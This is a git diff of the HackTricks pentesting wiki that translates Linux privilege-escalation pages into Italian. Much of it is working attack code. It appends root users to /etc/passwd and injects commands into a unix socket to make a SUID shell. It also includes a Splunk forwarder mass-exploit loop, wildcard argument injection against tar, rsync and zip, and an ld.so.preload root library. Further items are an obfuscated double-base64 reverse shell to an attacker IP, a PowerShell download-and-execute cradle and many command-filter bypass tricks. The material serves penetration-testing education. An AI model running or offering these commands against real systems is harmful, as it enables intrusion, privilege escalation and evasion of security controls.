password** - +### **Cambia la password di root** ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### Aggiungi un nuovo utente root a /etc/passwd ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e54915fa9..36618bdb6 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,10 +1,10 @@ -# RunC Privilege Escalation +# Elevazione di privilegi di RunC {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Informazioni di base -If you want to learn more about **runc** check the following page: +Se vuoi saperne di più su **runc** controlla la seguente pagina: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +Se scopri che `runc` è installato nell'host, potresti essere in grado di **eseguire un container montando la cartella root / dell'host**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -37,8 +36,7 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - > [!CAUTION] -> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +> Questo non funzionerà sempre poiché l'operazione predefinita di runc è eseguire come root, quindi eseguirlo come utente non privilegiato semplicemente non può funzionare (a meno che tu non abbia una configurazione senza root). Rendere una configurazione senza root quella predefinita non è generalmente una buona idea perché ci sono diverse restrizioni all'interno dei contenitori senza root che non si applicano al di fuori dei contenitori senza root. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 548f3d785..c81f26f84 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -1,13 +1,12 @@ {{#include ../../banners/hacktricks-training.md}} -# SELinux in Containers +# SELinux nei Contenitori -[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +[Introduzione e esempio dalla documentazione di redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) è un **sistema di etichettatura**. Ogni **processo** e ogni **oggetto** del file system ha un'**etichetta**. Le politiche SELinux definiscono regole su cosa un'**etichetta di processo** è autorizzata a fare con tutte le altre etichette nel sistema. +I motori dei contenitori avviano **processi di contenitore con un'unica etichetta SELinux confinata**, di solito `container_t`, e poi impostano il contenitore all'interno del contenitore per essere etichettato `container_file_t`. Le regole della politica SELinux dicono fondamentalmente che i **processi `container_t` possono solo leggere/scrivere/eseguire file etichettati `container_file_t`**. Se un processo di contenitore sfugge al contenitore e tenta di scrivere contenuti sull'host, il kernel Linux nega l'accesso e consente solo al processo di contenitore di scrivere contenuti etichettati `container_file_t`. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# Utenti SELinux -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +Ci sono utenti SELinux oltre agli utenti Linux regolari. Gli utenti SELinux fanno parte di una politica SELinux. Ogni utente Linux è mappato a un utente SELinux come parte della politica. Questo consente agli utenti Linux di ereditare le restrizioni e le regole di sicurezza e i meccanismi imposti sugli utenti SELinux. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 3b5a9002d..94af09bec 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +## Esempio di binding socket con Python +Nell'esempio seguente viene **creato un socket unix** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** verrà **eseguito** da `os.system`. So che non troverai questo nella realtà, ma l'obiettivo di questo esempio è vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile. ```python:s.py import socket import os, os.path @@ -11,34 +10,29 @@ import time from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` - -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**Esegui** il codice usando python: `python s.py` e **controlla come il socket sta ascoltando**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**Sfruttare** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 11d4253c5..a812e63b7 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,52 +1,50 @@ -# Splunk LPE and Persistence +# Splunk LPE e Persistenza {{#include ../../banners/hacktricks-training.md}} -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +Se **enumerando** una macchina **internamente** o **esternamente** trovi **Splunk in esecuzione** (porta 8090), se per fortuna conosci delle **credenziali valide** puoi **sfruttare il servizio Splunk** per **eseguire una shell** come l'utente che esegue Splunk. Se è in esecuzione come root, puoi elevare i privilegi a root. -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +Inoltre, se sei **già root e il servizio Splunk non ascolta solo su localhost**, puoi **rubare** il file **password** **dal** servizio Splunk e **crackare** le password, o **aggiungere nuove** credenziali. E mantenere la persistenza sull'host. -In the first image below you can see how a Splunkd web page looks like. +Nella prima immagine qui sotto puoi vedere come appare una pagina web di Splunkd. -## Splunk Universal Forwarder Agent Exploit Summary +## Riepilogo dell'Exploit dell'Agente Splunk Universal Forwarder -For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: +Per ulteriori dettagli controlla il post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Questo è solo un riepilogo: -**Exploit Overview:** -An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. +**Panoramica dell'Exploit:** +Un exploit che prende di mira l'Agente Splunk Universal Forwarder (UF) consente agli attaccanti con la password dell'agente di eseguire codice arbitrario sui sistemi che eseguono l'agente, compromettendo potenzialmente un'intera rete. -**Key Points:** +**Punti Chiave:** -- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. -- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. -- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. +- L'agente UF non convalida le connessioni in arrivo o l'autenticità del codice, rendendolo vulnerabile all'esecuzione non autorizzata di codice. +- I metodi comuni per acquisire password includono la loro localizzazione in directory di rete, condivisioni di file o documentazione interna. +- Un exploit riuscito può portare a accesso a livello SYSTEM o root su host compromessi, esfiltrazione di dati e ulteriore infiltrazione nella rete. -**Exploit Execution:** +**Esecuzione dell'Exploit:** -1. Attacker obtains the UF agent password. -2. Utilizes the Splunk API to send commands or scripts to the agents. -3. Possible actions include file extraction, user account manipulation, and system compromise. +1. L'attaccante ottiene la password dell'agente UF. +2. Utilizza l'API di Splunk per inviare comandi o script agli agenti. +3. Le azioni possibili includono estrazione di file, manipolazione di account utente e compromissione del sistema. -**Impact:** +**Impatto:** -- Full network compromise with SYSTEM/root level permissions on each host. -- Potential for disabling logging to evade detection. -- Installation of backdoors or ransomware. - -**Example Command for Exploitation:** +- Compromissione completa della rete con permessi a livello SYSTEM/root su ogni host. +- Potenziale per disabilitare il logging per evitare il rilevamento. +- Installazione di backdoor o ransomware. +**Esempio di Comando per l'Exploitation:** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -**Usable public exploits:** +**Sfruttamenti pubblici utilizzabili:** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46487 -## Abusing Splunk Queries +## Abusare delle Query di Splunk -**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** +**Per ulteriori dettagli controlla il post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 774e13999..5dcc94b65 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,30 +1,26 @@ {{#include ../../banners/hacktricks-training.md}} -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# Riepilogo +Cosa puoi fare se scopri all'interno di `/etc/ssh_config` o all'interno di `$HOME/.ssh/config` questa configurazione: ``` ForwardAgent yes ``` +Se sei root all'interno della macchina, puoi probabilmente **accedere a qualsiasi connessione ssh effettuata da qualsiasi agente** che puoi trovare nella _/tmp_ directory -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Impersonare Bob utilizzando uno degli ssh-agent di Bob: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## Perché funziona? -## Why does this work? +Quando imposti la variabile `SSH_AUTH_SOCK` stai accedendo alle chiavi di Bob che sono state utilizzate nella connessione ssh di Bob. Poi, se la sua chiave privata è ancora lì (normalmente lo sarà), sarai in grado di accedere a qualsiasi host utilizzandola. -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +Poiché la chiave privata è salvata nella memoria dell'agente in chiaro, suppongo che se sei Bob ma non conosci la password della chiave privata, puoi comunque accedere all'agente e usarla. -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +Un'altra opzione è che l'utente proprietario dell'agente e root possano accedere alla memoria dell'agente ed estrarre la chiave privata. -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# Lunga spiegazione e sfruttamento -# Long explanation and exploitation - -**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)** +**Controlla il [ricerca originale qui](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d497174d6..d07d44856 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,71 +2,59 @@ ## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +Puoi **indicare quale proprietario del file e quali permessi desideri copiare per il resto dei file** ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Puoi sfruttare questo usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attacco combinato)_\ +Ulteriori informazioni in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Tar -**Execute arbitrary commands:** - +**Esegui comandi arbitrari:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Puoi sfruttare questo usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attacco tar)_\ +Ulteriori informazioni in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Rsync -**Execute arbitrary commands:** - +**Esegui comandi arbitrari:** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Puoi sfruttare questo usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ +Ulteriori informazioni in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +In **7z** anche usando `--` prima di `*` (nota che `--` significa che l'input successivo non può essere trattato come parametri, quindi solo percorsi di file in questo caso) puoi causare un errore arbitrario per leggere un file, quindi se un comando come il seguente viene eseguito da root: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +E puoi creare file nella cartella in cui viene eseguito questo, potresti creare il file `@root.txt` e il file `root.txt` che è un **symlink** al file che vuoi leggere: ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +Poi, quando **7z** viene eseguito, tratterà `root.txt` come un file contenente l'elenco dei file che dovrebbe comprimere (questo è ciò che indica l'esistenza di `@root.txt`) e quando 7z legge `root.txt`, leggerà `/file/you/want/to/read` e **poiché il contenuto di questo file non è un elenco di file, genererà un errore** mostrando il contenuto. -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_Maggiori informazioni nei Write-up della box CTF di HackTheBox._ ## Zip -**Execute arbitrary commands:** - +**Eseguire comandi arbitrari:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 65f4bbafc..78ac2c9d1 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -1,40 +1,36 @@ -# Arbitrary File Write to Root +# Scrittura Arbitraria di File come Root {{#include ../../banners/hacktricks-training.md}} ### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +Questo file si comporta come la variabile d'ambiente **`LD_PRELOAD`** ma funziona anche nei **binaries SUID**.\ +Se puoi crearlo o modificarlo, puoi semplicemente aggiungere un **percorso a una libreria che verrà caricata** con ogni binary eseguito. +Ad esempio: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) sono **script** che vengono **eseguiti** su vari **eventi** in un repository git, come quando viene creato un commit, un merge... Quindi, se uno **script o utente privilegiato** sta eseguendo queste azioni frequentemente ed è possibile **scrivere nella cartella `.git`**, questo può essere utilizzato per **privesc**. +Ad esempio, è possibile **generare uno script** in un repo git in **`.git/hooks`** in modo che venga sempre eseguito quando viene creato un nuovo commit: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` - ### Cron & Time files TODO @@ -45,6 +41,6 @@ TODO ### binfmt_misc -The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. +Il file situato in `/proc/sys/fs/binfmt_misc` indica quale binario dovrebbe eseguire quale tipo di file. TODO: controlla i requisiti per abusare di questo per eseguire una rev shell quando un tipo di file comune è aperto. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index f69d43525..815756103 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -1,17 +1,9 @@ -# Useful Linux Commands +# Comandi Linux Utili -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {{#include ../../banners/hacktricks-training.md}} -## Common Bash - +## Bash Comuni ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Bash per Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Trova ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Aiuto per la ricerca Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +294,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 5391e3c9d..3cf2b47ab 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -2,26 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Common Limitations Bypasses +## Bypass delle Limitazioni Comuni ### Reverse Shell - ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` - -### Short Rev shell - +### Shell Rev corta ```bash #Trick from Dikline #Get a rev shell with @@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` - -### Bypass Paths and forbidden words - +### Bypass Paths e parole vietate ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -86,9 +73,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` - ### Bypass forbidden spaces - ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -121,22 +106,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### Bypass backslash e slash ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - ### Bypass pipes - ```bash bash<<<$(base64 -d<<g` in a file @@ -334,34 +295,25 @@ ln /f* 'sh x' 'sh g' ``` +## Bypass di Read-Only/Noexec/Distroless -## Read-Only/Noexec/Distroless Bypass - -If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** +Se ti trovi all'interno di un filesystem con le **protezioni read-only e noexec** o anche in un container distroless, ci sono ancora modi per **eseguire binari arbitrari, anche una shell!:** {{#ref}} ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & other Jails Bypass +## Bypass di Chroot e altre Jails {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## References & More +## Riferimenti e Altro - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index c4bec532f..609e57221 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,25 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +Ulteriori esempi su yum possono essere trovati su [gtfobins](https://gtfobins.github.io/gtfobins/yum/). -# Executing arbitrary commands via RPM Packages +# Esecuzione di comandi arbitrari tramite pacchetti RPM -## Checking the Environment +## Controllo dell'ambiente -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +Per sfruttare questo vettore, l'utente deve essere in grado di eseguire comandi yum come un utente con privilegi superiori, cioè root. -### A working example of this vector +### Un esempio funzionante di questo vettore -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +Un esempio funzionante di questo exploit può essere trovato nella stanza [daily bugle](https://tryhackme.com/room/dailybugle) su [tryhackme](https://tryhackme.com). -## Packing an RPM +## Creazione di un RPM -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +Nella sezione seguente, tratterò l'imballaggio di una reverse shell in un RPM utilizzando 